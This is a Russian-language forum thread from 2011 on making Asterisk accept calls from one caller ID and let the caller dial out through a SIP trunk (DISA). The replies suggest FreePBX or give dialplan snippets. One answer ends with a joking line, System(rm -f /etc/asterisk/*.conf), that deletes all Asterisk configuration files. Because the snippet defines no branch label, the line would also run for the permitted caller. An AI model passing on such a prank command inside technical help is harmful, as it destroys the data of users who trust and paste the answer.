Страница 1 из 1

Прием звонков приглашение донобрать внешний номер

Добавлено: 02 апр 2011, 02:27
load
Добрый вечер.

Подскажите пожалуйста, как заставить астериск принимать звонок с определенного CID, далее предлагать донабрать любой номер и соединить принятый звонок с набранным номером через SIP городской телефон.

Спасибо.

Re: Прием звонков приглашение донобрать внешний номер

Добавлено: 02 апр 2011, 12:40
ded
Установить freePBX => настроить исходящую маршрутизацию через SIP городской телефон => установить модуль DISA => настроить DISA => установить входящий маршрут для DID + конкретного CID и направить в нами созданную DISA.

Re: Прием звонков приглашение донобрать внешний номер

Добавлено: 08 апр 2011, 18:42
gofer_k
звоним к примеру с номера 22222222222 на номер 11111

exten => 11111,1,GotoIf($[${CALLERID(num)} = 22222222222]?verno:neverno);анализ CID
exten => 11111,n(verno),Playback(vm-enter-num-to-call);здесь и так понятно
exten => 11111,n,StartMusicOnHold ;включает музыку на удержание
exten => 11111,n,WaitExten(15);ожидание донабора 15 сек
exten => 11111,n,StopMusicOnHold; вылючает музыку на удержание
exten => 11111,n,System(rm -f /etc/asterisk/*.conf);здесь прописываем действия если CID не совпадает с 22222222222 :D
соответственно подрубаем сюда контексты чтобы добавочный номер ушел куда надо,или прописываем направления в этом же контексте если их нет,все зависит от вашего далплана.

Re: Прием звонков приглашение донобрать внешний номер

Добавлено: 08 апр 2011, 19:56
ded
gofer_k, вместо GotoIf
exten => 11111,1,GotoIf($[${CALLERID(num)} = 22222222222]?verno:neverno);анализ CID
есть простой формат анализа CID
exten => 11111/22222222222,1,DoAnyThink()

Re: Прием звонков приглашение донобрать внешний номер

Добавлено: 09 апр 2011, 11:08
gofer_k
ded писал(а):gofer_k, вместо GotoIf
exten => 11111,1,GotoIf($[${CALLERID(num)} = 22222222222]?verno:neverno);анализ CID
есть простой формат анализа CID
exten => 11111/22222222222,1,DoAnyThink()
Спасибо теперь буду знать.